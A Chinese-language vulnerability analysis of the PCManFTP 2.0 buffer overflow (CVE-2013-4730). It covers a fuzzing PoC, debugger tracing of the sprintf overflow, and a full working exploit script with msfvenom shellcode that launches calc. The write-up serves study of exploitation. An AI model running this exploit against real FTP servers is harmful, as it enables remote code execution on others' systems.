PCManFTP2.0 (CVE-2013-4730)漏洞分析
简介
pcManFTP是一款FTP服务器软件，它的2.0版本在接受命令时，
如果命令后的字符串过长会发生溢出，该溢出漏洞可导致执行任意机器指令。
漏洞分析环境
OS: Microsoft Windows 10 64bit 专业版
Software: PCManFTP 2.0
winDbg: 6.12.2.633
IDAPro: 6.8 绿色版
python: python 2.7
漏洞分析
参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129
编写了如下的python脚本用作poc，文件名：poc.py
#!/usr/bin/env python
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip port payloadNum
from pwn import *
import sys
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置
r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')
print r.recv(1024)
r.close() 然后打开winDbg，这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py
python poc.py 192.168.0.103 21 2048
这时由于产生了异常winDbg被断下
可以看到eip被覆盖为0x61616275，使用cyclic -l 0x61616275命令可得到从缓冲区到返回地址一共有2003个字节
下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现，整个栈空间大都被畸形字符串覆盖了
这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件，在接受客户端命令时可能会调用recv（）的接受函数，这时打开ida加载pcmanftp搜索文本recv
找到了两处recv()的调用，重新打开winDbg并下这两处的断点，输入g继续执行
bp 4029d5
bp 40563e执行poc.py，windbg断在4029d5处，在输入g继续执行发现eip又被覆盖为61616275，说明缓冲区被覆盖的位置在第一次触发断点之后，而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5，执行poc并断下后，查看函数参数
recv函数的原型是int recv(SOCKET s, char *buf, int len,int flags);传入的buf地址是0x19ecf8，最大长度是0x1000，然后单步步过这个函数，在查看buf里的字符串
发现buf已经被畸形字符串覆盖了，由于poc传入的是2048个字节，小于recv的最大接收字节所以畸形字符串全部存在buf里，继续单步步过直到触发异常，发现异常发生在402a26处的函数调用
那么缓冲区溢出就发生在该函数的内部，在ida中跳到该地址处静态分析。进入该函数内部，这里由于我的IDA产生了sp-analysis failed错误不能F5，所以就看汇编了。在403ee6位置调用了_sprintf函数，我们知道这个函数是一个危险的函数，如果不控制输入缓冲区大小就会造成溢出。
打开winDbg设置断点bp 403ee6，继续运行，当命中断点时由于不确定这一处是否被多次调用仍然要输入g继续执行，最后发现在第二次命中断点后引发了异常。然后重新调试下断点直到异常发生前一次的断点位置，开始分析。查看传入的参数
0:000> dd esp
0019e4a0 0019e4e4 004416d4 000007e1 00000009
0019e4b0 00000004 0000000b 00000013 00000368
0019e4c0 02528750 0019ecf8 00000004 0019ecf8
0019e4d0 000907e1 00040001 0013000b 02690008
0019e4e0 00000000 00000000 00000000 00000000
0019e4f0 00000000 00000000 00000000 00000000
0019e500 00000000 00000000 00000000 00000000
0019e510 00000000 00000000 00000000 00000000被写入的地址是19e4e4,格式控制字符串为
0:000> dc 4416d4
004416d4 252f6425 64252f64 30255b20 253a6432 %d/%d/%d [%02d:%
004416e4 5d643230 30252820 20296435 203e7325 02d] (%05d) %s>
004416f4 0a0d7325 00000000 20313234 6e6e6f43 %s......421 Conn
00441704 69746365 74206e6f 64656d69 74756f20 ection timed out
00441714 63202d20 69736f6c 0d2e676e 0000000a - closing......
00441724 00002a5c 0000002a 77726325 2d2d7278 \*..*...%crwxr--
00441734 202d2d72 20302020 20707466 20202020 r-- 0 ftp
00441744 70746620 36492520 25207534 73252073 ftp %I64u %s %s那么数一下格式控制符就可以知道最后一个%s对应的参数为19ecf8,而这里就是畸形字符串的地址（recv里的buf），显然当payload过长就有可能覆盖返回地址。
0:000> dc 19ecf8
0019ecf8 52455355 61616120 61616261 61616361 USER aaaabaaacaa
0019ed08 61616461 61616561 61616661 61616761 adaaaeaaafaaagaa
0019ed18 61616861 61616961 61616a61 61616b61 ahaaaiaaajaaakaa
0019ed28 61616c61 61616d61 61616e61 61616f61 alaaamaaanaaaoaa
0019ed38 61617061 61617161 61617261 61617361 apaaaqaaaraaasaa
0019ed48 61617461 61617561 61617661 61617761 ataaauaaavaaawaa
0019ed58 61617861 61617961 61617a61 61616262 axaaayaaazaabbaa
0019ed68 61616362 61616462 61616562 61616662 bcaabdaabeaabfaa另外这个sprintf的调用函数在402a26处，这个上面已经分析过，然而这个函数调用不是标准的，它没有创建栈帧
00403e5e 90 nop
00403e5f 90 nop
;402a26函数代码片段
00403e60 a140354400 mov eax,dword ptr [image00400000+0x43540 (00443540)];从402a26来
00403e65 81ec14080000 sub esp,814h
00403e6b 85c0 test eax,eax
00403e6d 56 push esi
00403e6e 57 push edi
00403e6f 8bf1 mov esi,ecx
00403e71 750d jne image00400000+0x3e80 (00403e80)
00403e73 a148354400 mov eax,dword ptr [image00400000+0x43548 (00443548)]
00403e78 85c0 test eax,eax
00403e7a 0f8431010000 je image00400000+0x3fb1 (00403fb1)
00403e80 8d442408 lea eax,[esp+8]
00403e84 50 push eax
00403e85 ff15a8524300 call dword ptr [image00400000+0x352a8 (004352a8)]所以堆栈回溯无法确定返回地址在栈中的位置，当然我们可以在402a26位置下断点记下位置，这里由于已经知道在payload偏移2003处覆盖返回地址（上面分析过）就不必了。我们可以单步步过直到返回。然后查看栈
0:000> dc esp
0019ece4 61616275 61616375 61616475 61616575 ubaaucaaudaaueaa
0019ecf4 61616675 61616775 61616875 61616975 ufaaugaauhaauiaa
0019ed04 61616a75 61616b75 61616c75 000a0d75 ujaaukaaulaau...
0019ed14 61616761 61616861 61616961 61616a61 agaaahaaaiaaajaa
0019ed24 61616b61 61616c61 61616d61 61616e61 akaaalaaamaaanaa
0019ed34 61616f61 61617061 61617161 61617261 aoaaapaaaqaaaraa
0019ed44 61617361 61617461 61617561 61617661 asaaataaauaaavaa
0019ed54 61617761 61617861 61617961 61617a61 awaaaxaaayaaazaa可见返回地址已经被覆盖为0x61616275.这里要注意下，19ecf8处为recv的buf，而19e4e4为sprintf的写入地址，所以payload过长会覆盖recv的buf，在漏洞利用上得注意。最后，不止USER命令，其他命令在同样位置均存在溢出。
漏洞利用
由于我的win10 64bit默认开启的DEP防护是optin，所以就不绕过DEP了，好像pcman没有开启alsr也就不用绕过了，我直接获取本机的user32.dll中的jmp esp地址的。利用手法很简单，因为我还不会高明的利用，这里只是搞着玩！
开始：
payload在偏移2003处开始覆盖返回地址，这里直接覆盖返回地址为jmp esp，然后后面跟上一个跳转指令直接跳到19ecf8处的shellcode，又由于这里会被覆盖（上面有解释）那么可以向后偏移几个字节，比如可以直接跳转到19ecff处，跳转的偏移=0x19ecff-0x19ecec-4=0xf=15，4是跳转指令的长度，这里的返回指令是ret 4所以esp会额外加4。至于shellcode，我用msfvenom来生成一个弹出计算器的shellcode：msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d'。
#!/usr/bin/env python
# coding=utf-8
# fileName: exp.py
# usage: python exp.py ip port
from pwn import *
import sys
buf = ""
buf += "\xd9\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x38\xbd\x61"
buf += "\xa3\x34\xc0\x31\x6a\x17\x83\xc2\x04\x03\x0b\xb0\xd6"
buf += "\x35\x11\x71\xcf\xc2\x81\x8a\x4b\x9c\xea\x94\x9a\xbe"
buf += "\xdf\x91\x52\x71\x2e\x7d\x8d\xf1\xbf\x7d\xae\xaa\x9d"
buf += "\xbf\xa2\x9e\xc3\xb8\x19\x2d\xb1\x2f\xf4\x84\x36\x87"
buf += "\xf6\xba\x8b\x40\xb9\x4c\xd4\x22\x3d\x52\x9e\xd5\xc1"
buf += "\x90\xa3\x45\x37\xb3\x25\xfb\x73\xee\x25\xcf\x9b\x62"
buf += "\xe8\xcf\xf1\xb0\x68\xb2\x6a\xd4\x5f\x3a\xa7\xd4\x0f"
buf += "\x7f\x48\xac\x85\x37\xc1\x8e\x23\xac\x5b\xc1\xa2\x01"
buf += "\xbc\xd1\x12\x28\xad\xfe\x21\xdf\x26\x80\x5a\x27\x53"
buf += "\xc1\x3a\xcf\xe2\x6f\xad\x14\x7e\x86\x66\xef\x6e\x5a"
buf += "\x2c\x96\x87\x8a\xfb\xcc\x24\xf9\x7c\x22\xf3\x29\xfc"
buf += "\xde\x4a\x92\x8c\x50\x18\x01\x1c\x20\x78\x55\xb0\x66"
buf += "\xe1\x19\xed\x07\xa3\x8e\x83\x4c\x77\xe3\x91\x99\xab"
buf += "\xf2\x90\x4d\x2b\x4f\x81\xb6\x3c\x48\x04\x2f\x3b\x6a"
buf += "\x11\x57\xdb\xa8\xfa\x16\x72\x64\xac\xdf\xb2\x94\x21"
buf += "\x26\xc6\x9a\x9e\x48\xef\x37\x1a\x95\xca\xba\xe2\x6c"
buf += "\xb2\x1d\xd2\x8c\x05\xa0\x17\xd4\x43\x1a\x20\xfa\xef"
buf += "\x23\x2a\x2e\x0e\x81\x59\x97\xb8\x4d\x13\xf7\x33\x81"#247 bytes
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = '\x90'*(2003-len(buf)) #填充为nop
payload += buf #shellcode
payload += p32(0x742d2109)+'\x90'*4 #jmp esp覆盖为返回地址
payload += '\xeb\x0f' #向后跳转15字节
r = remote(RHOST,RPORT)
r.send('USER '+payload+'\r\n')
r.close()然后直接执行exp即可
